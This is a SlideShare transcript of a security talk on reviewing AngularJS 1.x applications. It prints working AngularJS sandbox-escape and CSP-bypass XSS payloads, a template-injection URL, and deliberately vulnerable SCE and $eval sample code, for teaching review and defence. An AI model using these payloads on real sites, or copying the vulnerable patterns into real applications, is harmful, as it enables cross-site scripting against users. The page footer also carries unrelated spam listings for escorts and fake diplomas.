SlideShare une entreprise Scribd logo
1  sur  73
Télécharger pour lire hors ligne
Reviewing
AngularJS 1.x Applications
Lewis Ardern
Whoami
• Security Consultant
• Ph.D. Student
• I like Web Security….
• @LewisArdern
No, this is not me
Agenda
• What is AngularJS?
• Overview of the framework
• Why should we care
• How to assess AngularJS
• Security Caveats
• Where to look
• Tools
What is AngularJS?
What is AngularJS?
• AngularJS is open-source web application framework
maintained by Google
• Front-end MVC framework
• Built-in data-binding
• Client-side templates
• Back-end can use any technology(Java, .NET, Ruby, etc.)
• Single Page Applications (SPAs)
• AngularJS simplifies development and testing
Model - View - Controller – on the Client
Client
Data (JSON)
AngularJS Sample Code – “Hello SteelCon”
<div ng-app>
<label>Name:</label>
<input type="text" ng-model=“steelCon"
placeholder="Enter a value here">
<hr>
<h1>Hello {{steelCon}}!</h1>
</div>
• ng-app
• ng-model directive
• Expressions
Angular Module
Config / Routing
angular.module('app', [‘ngRoute’]);
angular.module('app').config(function($routeProvider) {
$routeProvider
.when('/', {
templateUrl: '/partials/views/main',
controller: 'mvMainCtrl'
})
});
Controller
angular.module('app').controller('controller',
function($scope) {
$scope.hello = 'Hello SteelCon';
});
View - (Jade Template)
doctype
html(ng-app='app')
head
title Cigital
link(rel="stylesheet", href="/bootstrap.css")
base(href="/")
body(ng-controller=‘controller')
p {{hello}}
include scripts
Directives
• Angular is sandboxed (Moved From The DOM)
• Directives are markers on a DOM element
• Attribute
• element name
• Talk to the HTML compiler
• Transform DOM elements + children elements
• ngClick – On Click
• Developers can create custom directives
Services
• Used to organize and share code across an application
• AngularJS has built in services
• $http
• You can build your own services
• loginService
• Logging
An Angular Application Summed Up
• MVC – Or Model View (Whatever)
• Config
• Controllers
• Templates - View
• Routing
• Directives
• Services
• Scopes
• $scope/$rootScope
• Expressions
• {{helloWorld}}
Why Should We Care?
• It has a huge adoption rate
• It’s popular..
Breaking Changes
Security Caveats
Security Caveats
• Issues Within The Framework
• Sandbox Escapes
• CSP Bypasses
• Sanitizer Bypasses
• Issues Introduced By Developers
• Explicitly Trusting Data
• Client-Side Routing and Authorization
• Client-Side Template Injection
Security Caveats – Not Covered
• CSRF Protection
• AngularJS $http JSON Hijacking Protection
• Storing Sensitive Data in Persistent Local Storage
• Sanitize Translation Content in angular-translate
• Angular and Content Security Policy Support
• Third-Party Libraries
• textAngular
• angular-translate
Issues Within The Framework
Sandbox
Sandbox
• Angular separates from the DOM using expressions
• AngularJS uses a sanitization function to prevent the
execution of an unsafe expression
• This means we can’t access
• Window object
• DOM elements
• Global variables
• Object constructor
• Sandbox is *not for security reasons
Sandbox Escapes – 1.0 – 1.1.5
• First found by Mario Heiderich
• Within an expression you could call a constructor
• Which could call the constructor of the constructor
• Which returns the function constructor that can access eval
{{constructor.constructor('alert(1)')()}}
• But AngularJS Team Fixed it
Sandbox Escapes – 1.1.5 >
• Jann Horn
• Gareth Heyes
• Mathias Karlsson
• Gábor Molnár
Next generation – (Gabor)
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}
Next level… - (Jann)
<!-- Jann's rather extreme Bypass -->
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script>
<body ng-app ng-csp> {{ objectPrototype = ({})[['__proto__']];
objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);
$root.$$listenerCount[['constructor']] = 0; $root.$$listeners = [].map;
$root.$$listeners.indexOf = [].map.bind; functionPrototype =
[].map[['__proto__']];
functionToString = functionPrototype.toString; functionPrototype.push =
({}).valueOf; functionPrototype.indexOf = [].map.bind; foo =
$root.$on('constructor', null); functionPrototype.toString = $root.$new;
foo(); }} {{ functionPrototype.toString = functionToString;
functionPrototype.indexOf = null; functionPrototype.push = null;
$root.$$listeners = {}; baz ? 0 :
$root.$$postDigestQueue[0]('alert(location)')(); baz = true;'' }} </body>
</html>
Working Bypass
Summarizing Sandbox Escapes
• In the end (it doesn’t even matter)
• Developers cannot rely on updating Angular to be secure
• Essentially attackers have a universal Sandbox Bypass
• Expression Interpolation == XSS
• Unclear if the Angular team will fix it
• Lets see what 2.0 has instore
CSP
CSP
• Content Security Policy (CSP)
• Helps protect against XSS
• Allows you define where scripts are loaded / ran
• Angular Harmonizes with CSP with its ngCSP directive
• Abusing browser and framework functionality allows XSS
CSP Bypasses
• Early bypasses were trivial
• onclick isn’t accessible, but you can abuse the framework
• ng-click=“$event.window.alert(1)”
• Issues within the browser
• Chrome ES6 Reflect API
• Universal CSP Bypass
• Does anyone whitelist CDNs in their CSP?
• What about ajax.googleapis.com?
Universal CSP Bypass Explained
• http://example.com/foo?xss=evilCode
<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
header('Content-Type: text/html; charset=utf-8');
header('X-Frame-Options: deny');
header('X-Content-Type-Options: nosniff');
?>
<?php echo $_GET['xss']; ?>
Universal CSP Bypass Explained
ng-app"hng-csp ng-
click=$event.view.alert(1337)><script
src=//ajax.googleapis.com/ajax/libs/angular
js/1.0.8/angular.js></script>
Universal CSP Bypasses
• Example
Sanitizer Bypasses
• The Sanitizer is essentially an XSS filter
• It’s a component called $sanitize
• It returns a clean string of HTML ready for use within the view
• First (OLD) Sanitizer used a HTML parser from 2008
• Which could be bypassed by including SVG and using the use
element which allows you pulls resources
• Second (New) Sanitizer uses the DOM.
• Document.implementation
• Chrome Unicode Bypass
Sanitizer Bypasses
Issues Introduced By Developers
Explicitly Trusting Data
Ensure Strict Contextual Escaping (SCE) Is Enabled
• SCE allows for displaying dynamic formatted data, such
as HTML, while preventing XSS attacks by implicitly
passing it through encoding and sanitization methods
• SCE is enabled by default in version 1.2+
• Include the ngSanitize module dependency
• Enable $sce through $sceProvider.enabled(true)
• SCE can be disabled altogether – do not do this!
• $sceProvider.enabled(false)
42
Ensure Strict Contextual Escaping (SCE) Is Enabled
• SCE is implemented for HTML content by ngBindHtml
directive
• SCE can be disabled for particular elements with explicit
calls to:
• $sce.trustAs(type, value)
• $sce.trustAsHtml(value)
Overriding or Disabling SCE May Lead to XSS
44
Template:
<body ng-app=“myApp">
<div ng-controller=“myCtrl">
<p ng-bind-html=“hello"></p>
</div>
</body>
Overriding or Disabling SCE May Lead to XSS
45
angular.module(myApp', ['ngSanitize'])
.controller(‘myCtrl', function ($sce) {
this.hello = $sce.trustAsHtml('<p
style="color:blue">Hey!! Come and ' +
'<em style="color:Red"
onmouseover="this.textContent='Click'">rn' +
'Mouse Hover</em> Over Me</p>');
});
Controller:
DEMO
XSS – SCE
Incorrect use of $eval
• The $eval function evaluates Angular Expressions
• $scope.$eval(‘a+b’)
• $scope.$eval(‘functionName’)()
• If data is not wrapped within single quotations, this can
cause security issues
• $scope.$eval($scope.a+$scope.b)
• This can lead to XSS
• This can lead to attackers accessing $scope/$rootScope
49
AngularJS Sample Code – Correct use of $eval
<body ng-controller="main">
<p> Current Message
= {{message}}</p>
<input type="text"
placeholder="First Search" ng-
model="scope.a">
<button type="button" ng-
click=“correctEval(scope)">try
to create an XSS</button>
</body>
</html>
angular.module('app',
[]).controller('main',
function($scope,$rootScope) {
$scope.message = "Default
Text";
$scope.correctEval =
function(value) {
$scope.a = value.a;
$scope.message =
$scope.$eval(‘a’);
}
})
HTML template: JavaScript controller:
50
AngularJS Sample Code – Incorrect use of $eval
<body ng-controller="main">
<p> Current Message
= {{message}}</p>
<input type="text"
placeholder="First Search" ng-
model="scope.a">
<button type="button" ng-
click="incorrectEval(scope)">Cr
eate an XSS</button>
</body>
</html>
angular.module('app',
[]).controller('main',
function($scope,$rootScope) {
$scope.message = "Default
Text";
$scope.incorrectEval =
function(value) {
$scope.a = value.a;
$scope.message =
$scope.$eval($scope.a);
}
})
HTML template: JavaScript controller:
Client-Side Routing and Authorization
Client Side Routes Authorization
Article “AngularJS Security - Authorization on Angular Routes”
http://www.codeproject.com/Tips/811782/AngularJS-Security-Authorization-
on-Angular-Routes
• Permission model on the client side
• Angular stores the role for the duration of the session
var appModule = angular.module("appModule", ['ngRoute', 'ngResource'])
.config(function($routeProvider, $locationProvider) {
$routeProvider
.when('/superUserSpecificRoute', {
templateUrl: '/templates/superUser.html', //view path
caseInsensitiveMatch: true,
controller: 'superUserController', //controller for the route
resolve: { //use the authorizationService to check the role
permission: function(authorizationService, $route) {
return authorizationService.permissionCheck(
[roles.superUser]);
},
}
})
And all of
this is
client-
side!
Do Not Rely on AngularJS Security Controls
53
• Client side routing and route authorization functionality
provided by Angular should be considered a user
experience and business logic optimization only.
• Any authentication and authorization controls
implemented on the client can be easily bypassed.
• Any authorization, authentication, or business logic
controls must be enforced on the server.
Never trust the client!
DEMO
Bypassing Client-Side Controls
Client-Side Template Injection
Server-side templates Client-side templates
Javascript: Jade, ejs, Pug
AngularJS
ReactJS
Java: JSP
PHP: Smarty
Prevent Cross-Site Scripting via Template Injection
• Mixing server-side & client-side templates can cause XSS
without the need to inject HTML tags
• User input added to a server-side template and then sent to
the client-side template
• The server-side template engine only escapes malicious HTML
characters (e.g <, >, “, ‘)
• An attacker can place AngularJS expression language within {{ }}
• won’t be escaped by server-side code
• will be executed by the client-side AngularJS template
• will run within a sandbox with limited execution of JavaScript
• Avoid using both client-side & server-side templates!
• Keep app logic on the server side & presentation on the client side
Template Injection Diagram
57
Template User Input
Template
Engine
Server-side Client-side
res.render()
Template
Engine
AngularJS
template
View
compile
Malicious AngularJS
code is injected
through input
Template engine
only escapes
HTML special
characters
Template engine
renders AngularJS
expressions
including malicious
code
Malicious code
executes within
the view
1
2 3
4
Combined Template Injection Code
app.get('/mixed', function(req,res){
//Send the name to the ejs template
res.render('../server/views/index', {name: req.query.name});
});
<body ng-app=“templateSampleApp”>
<div ng-controller=“sampleController”>
<p> Profile name : <%= name %> </p>
</div>
</body>
Server Code:
EJS template:
Valid payload (assuming controller has a logout function):
• http://www.example.com/mixed?name={{logout%28%29}}
Client-side template:
<body ng-app=“templateSampleApp”>
<div ng-controller=“sampleController”>
<p> Profile name : {{ logout() }} </p>
</div>
</body>
DEMO
Template Injection
Where to look
Where to look
• Verify the Angular Version
• Check third-party libraries
• Check for module dependencies
• Look at what is dependency injected into controllers
• Look at Custom Directives/Services
• Look at what they are storing within localStorage
• You will have to spend some time on the controller and
understand client-side logic
Tools
Tools
• Retire.js
• BurpSuite
• Batarang / Augury (Angular 2.0)
• Scan.js / ESLint
• JACKS – SOON
Retire.js
• The goal of Retire.js is to help detect the use of JS-
library versions with known vulnerabilities
• Retire.js can be used
• A command line scanner
• A grunt plugin
• A Chrome extension
• A Firefox extension
• Burp and OWASP Zap plugin
• Full list of vulnerabilities - http://retirejs.github.io/retire.js
Retire.js
BurpSuite
Batarang
DEMO
Batarang In Action!
ScanJS
JACKS – Soon To Support AngularJS
Summarizing…
• Angular is an Interesting MVW
• There are some/were interesting issues within the
framework
• Strict Contextual Escaping (SCE)
• Use $eval wisely
• Never trust the client
• Don’t mix Client/Server Side Templates
Additional Reading
• http://www.slideshare.net/x00mario/jsmvcomfg-to-sternly-look-
at-javascript-mvc-and-templating-frameworks/48
• https://docs.angularjs.org/guide/security
• https://blog.portswigger.net/2016/01/xss-without-html-client-
side-template.html
• https://blog.portswigger.net/2016/04/adapting-angularjs-
payloads-to-exploit.html
• https://docs.google.com/presentation/d/1qdAq-TtaVfsZ4af-
WlUzKALZv0GmsHViuk3WM_UIubs/pub?start=false&loop=fal
se&delayms=3000&slide=id.g3751a7aa1_0319
• www.slideshare.net/x00mario/an-abusive-relationship-with-
angularjs
QUESTIONS?
www.cigital.com

Contenu connexe

Tendances

BSides Leeds - Performing JavaScript Static Analysis
BSides Leeds -  Performing JavaScript Static AnalysisBSides Leeds -  Performing JavaScript Static Analysis
BSides Leeds - Performing JavaScript Static AnalysisLewis Ardern
 
ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS ApplicationsKevin Hakanson
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Jim Manico
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxMathias Karlsson
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Jim Manico
 
Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0Rakesh Kachhadiya
 
Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Jim Manico
 
Cross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with JavaCross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with JavaJim Manico
 
Access Control Pitfalls v2
Access Control Pitfalls v2Access Control Pitfalls v2
Access Control Pitfalls v2Jim Manico
 
GitBucket: The perfect Github clone by Scala
GitBucket: The perfect Github clone by ScalaGitBucket: The perfect Github clone by Scala
GitBucket: The perfect Github clone by Scalatakezoe
 
DefCamp 2013 - Http header analysis
DefCamp 2013 - Http header analysisDefCamp 2013 - Http header analysis
DefCamp 2013 - Http header analysisDefCamp
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure CodingMateusz Olejarka
 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides Amit Dubey
 
Java Web Application Security - Utah JUG 2011
Java Web Application Security - Utah JUG 2011Java Web Application Security - Utah JUG 2011
Java Web Application Security - Utah JUG 2011Matt Raible
 
Bsidesvienna sentinel v0.4
Bsidesvienna sentinel v0.4Bsidesvienna sentinel v0.4
Bsidesvienna sentinel v0.4nibod
 
Web App Security for Java Developers - UberConf 2021
Web App Security for Java Developers - UberConf 2021Web App Security for Java Developers - UberConf 2021
Web App Security for Java Developers - UberConf 2021Matt Raible
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsSimon Willison
 
Securing your AngularJS Application
Securing your AngularJS ApplicationSecuring your AngularJS Application
Securing your AngularJS ApplicationPhilippe De Ryck
 

Tendances (20)

BSides Leeds - Performing JavaScript Static Analysis
BSides Leeds -  Performing JavaScript Static AnalysisBSides Leeds -  Performing JavaScript Static Analysis
BSides Leeds - Performing JavaScript Static Analysis
 
ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applications
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
Breaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandboxBreaking AngularJS Javascript sandbox
Breaking AngularJS Javascript sandbox
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0Development Security Framework based on Owasp Esapi for JSF2.0
Development Security Framework based on Owasp Esapi for JSF2.0
 
Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5Top Ten Proactive Web Security Controls v5
Top Ten Proactive Web Security Controls v5
 
Cross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with JavaCross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with Java
 
Access Control Pitfalls v2
Access Control Pitfalls v2Access Control Pitfalls v2
Access Control Pitfalls v2
 
GitBucket: The perfect Github clone by Scala
GitBucket: The perfect Github clone by ScalaGitBucket: The perfect Github clone by Scala
GitBucket: The perfect Github clone by Scala
 
DefCamp 2013 - Http header analysis
DefCamp 2013 - Http header analysisDefCamp 2013 - Http header analysis
DefCamp 2013 - Http header analysis
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure Coding
 
Server-side template injection- Slides
Server-side template injection- Slides Server-side template injection- Slides
Server-side template injection- Slides
 
Web Application Defences
Web Application DefencesWeb Application Defences
Web Application Defences
 
Java Web Application Security - Utah JUG 2011
Java Web Application Security - Utah JUG 2011Java Web Application Security - Utah JUG 2011
Java Web Application Security - Utah JUG 2011
 
Bsidesvienna sentinel v0.4
Bsidesvienna sentinel v0.4Bsidesvienna sentinel v0.4
Bsidesvienna sentinel v0.4
 
Web App Security for Java Developers - UberConf 2021
Web App Security for Java Developers - UberConf 2021Web App Security for Java Developers - UberConf 2021
Web App Security for Java Developers - UberConf 2021
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
 
Securing your AngularJS Application
Securing your AngularJS ApplicationSecuring your AngularJS Application
Securing your AngularJS Application
 

Similaire à Reviewing AngularJS

JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack
 
Coffee@DBG - Exploring Angular JS
Coffee@DBG - Exploring Angular JSCoffee@DBG - Exploring Angular JS
Coffee@DBG - Exploring Angular JSDeepu S Nath
 
Creating Modular Test-Driven SPAs with Spring and AngularJS
Creating Modular Test-Driven SPAs with Spring and AngularJSCreating Modular Test-Driven SPAs with Spring and AngularJS
Creating Modular Test-Driven SPAs with Spring and AngularJSGunnar Hillert
 
Web Security Threats and Solutions
Web Security Threats and Solutions Web Security Threats and Solutions
Web Security Threats and Solutions Ivo Andreev
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
 
Exploring AngularJS - Liju Pillai
Exploring AngularJS - Liju PillaiExploring AngularJS - Liju Pillai
Exploring AngularJS - Liju PillaiLiju Pillai
 
When to use and when not to use AngularJS - Liju Pillai, www.perfomatix.com
When to use and when not to use AngularJS - Liju Pillai, www.perfomatix.comWhen to use and when not to use AngularJS - Liju Pillai, www.perfomatix.com
When to use and when not to use AngularJS - Liju Pillai, www.perfomatix.comPerfomatix Solutions
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web applicationSecurity Bootcamp
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Ganesh Kondal
 
Browser Serving Your Web Application Security - NorthEast PHP 2017
Browser Serving Your Web Application Security - NorthEast PHP 2017Browser Serving Your Web Application Security - NorthEast PHP 2017
Browser Serving Your Web Application Security - NorthEast PHP 2017Philippe Gamache
 
Browser Serving Your Web Application Security - Madison PHP 2017
Browser Serving Your Web Application Security - Madison PHP 2017Browser Serving Your Web Application Security - Madison PHP 2017
Browser Serving Your Web Application Security - Madison PHP 2017Philippe Gamache
 
Browser Serving Your We Application Security - ZendCon 2017
Browser Serving Your We Application Security - ZendCon 2017Browser Serving Your We Application Security - ZendCon 2017
Browser Serving Your We Application Security - ZendCon 2017Philippe Gamache
 
Security on Rails
Security on RailsSecurity on Rails
Security on RailsDavid Paluy
 
Integrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMSIntegrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMSTom Borger
 
9 - Making Sense of Containers in the Microsoft Cloud
9 - Making Sense of Containers in the Microsoft Cloud9 - Making Sense of Containers in the Microsoft Cloud
9 - Making Sense of Containers in the Microsoft CloudKangaroot
 
Open source security
Open source securityOpen source security
Open source securitylrigknat
 
Web security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in BrowsersWeb security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in BrowsersPhú Phùng
 

Similaire à Reviewing AngularJS (20)

JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
 
Coffee@DBG - Exploring Angular JS
Coffee@DBG - Exploring Angular JSCoffee@DBG - Exploring Angular JS
Coffee@DBG - Exploring Angular JS
 
Quick Start to AngularJS
Quick Start to AngularJSQuick Start to AngularJS
Quick Start to AngularJS
 
Creating Modular Test-Driven SPAs with Spring and AngularJS
Creating Modular Test-Driven SPAs with Spring and AngularJSCreating Modular Test-Driven SPAs with Spring and AngularJS
Creating Modular Test-Driven SPAs with Spring and AngularJS
 
Web Security Threats and Solutions
Web Security Threats and Solutions Web Security Threats and Solutions
Web Security Threats and Solutions
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
Exploring AngularJS - Liju Pillai
Exploring AngularJS - Liju PillaiExploring AngularJS - Liju Pillai
Exploring AngularJS - Liju Pillai
 
When to use and when not to use AngularJS - Liju Pillai, www.perfomatix.com
When to use and when not to use AngularJS - Liju Pillai, www.perfomatix.comWhen to use and when not to use AngularJS - Liju Pillai, www.perfomatix.com
When to use and when not to use AngularJS - Liju Pillai, www.perfomatix.com
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5
 
Browser Serving Your Web Application Security - NorthEast PHP 2017
Browser Serving Your Web Application Security - NorthEast PHP 2017Browser Serving Your Web Application Security - NorthEast PHP 2017
Browser Serving Your Web Application Security - NorthEast PHP 2017
 
Browser Serving Your Web Application Security - Madison PHP 2017
Browser Serving Your Web Application Security - Madison PHP 2017Browser Serving Your Web Application Security - Madison PHP 2017
Browser Serving Your Web Application Security - Madison PHP 2017
 
Browser Serving Your We Application Security - ZendCon 2017
Browser Serving Your We Application Security - ZendCon 2017Browser Serving Your We Application Security - ZendCon 2017
Browser Serving Your We Application Security - ZendCon 2017
 
Angular - Beginner
Angular - BeginnerAngular - Beginner
Angular - Beginner
 
Security on Rails
Security on RailsSecurity on Rails
Security on Rails
 
Integrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMSIntegrating AngularJS into the Campus CMS
Integrating AngularJS into the Campus CMS
 
9 - Making Sense of Containers in the Microsoft Cloud
9 - Making Sense of Containers in the Microsoft Cloud9 - Making Sense of Containers in the Microsoft Cloud
9 - Making Sense of Containers in the Microsoft Cloud
 
Open source security
Open source securityOpen source security
Open source security
 
Web security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in BrowsersWeb security: Securing Untrusted Web Content in Browsers
Web security: Securing Untrusted Web Content in Browsers
 

Dernier

Magic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMagic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMartaLoveguard
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New Delhimiss dipika
 
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一Fs
 
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxDyna Gilbert
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Paul Calvano
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书zdzoqco
 
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012rehmti665
 
A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)
A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)
A Good Girl's Guide to Murder (A Good Girl's Guide to Murder, #1)Christopher H Felton
 
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作ys8omjxb
 
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一Fs
 
PHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationPHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationLinaWolf1
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一z xss
 
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Dana Luther
 
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja VipCall Girls Service Adil Nagar 7001305949 Need escorts Service Pooja Vip
Call Girls Service Adil Nagar 7001305949 Need escorts Service Pooja VipCall Girls Lucknow
 
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一Fs
 
Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Excelmac1
 
Film cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasaFilm cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasa494f574xmv
 

Dernier (20)

Magic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMagic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptx
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
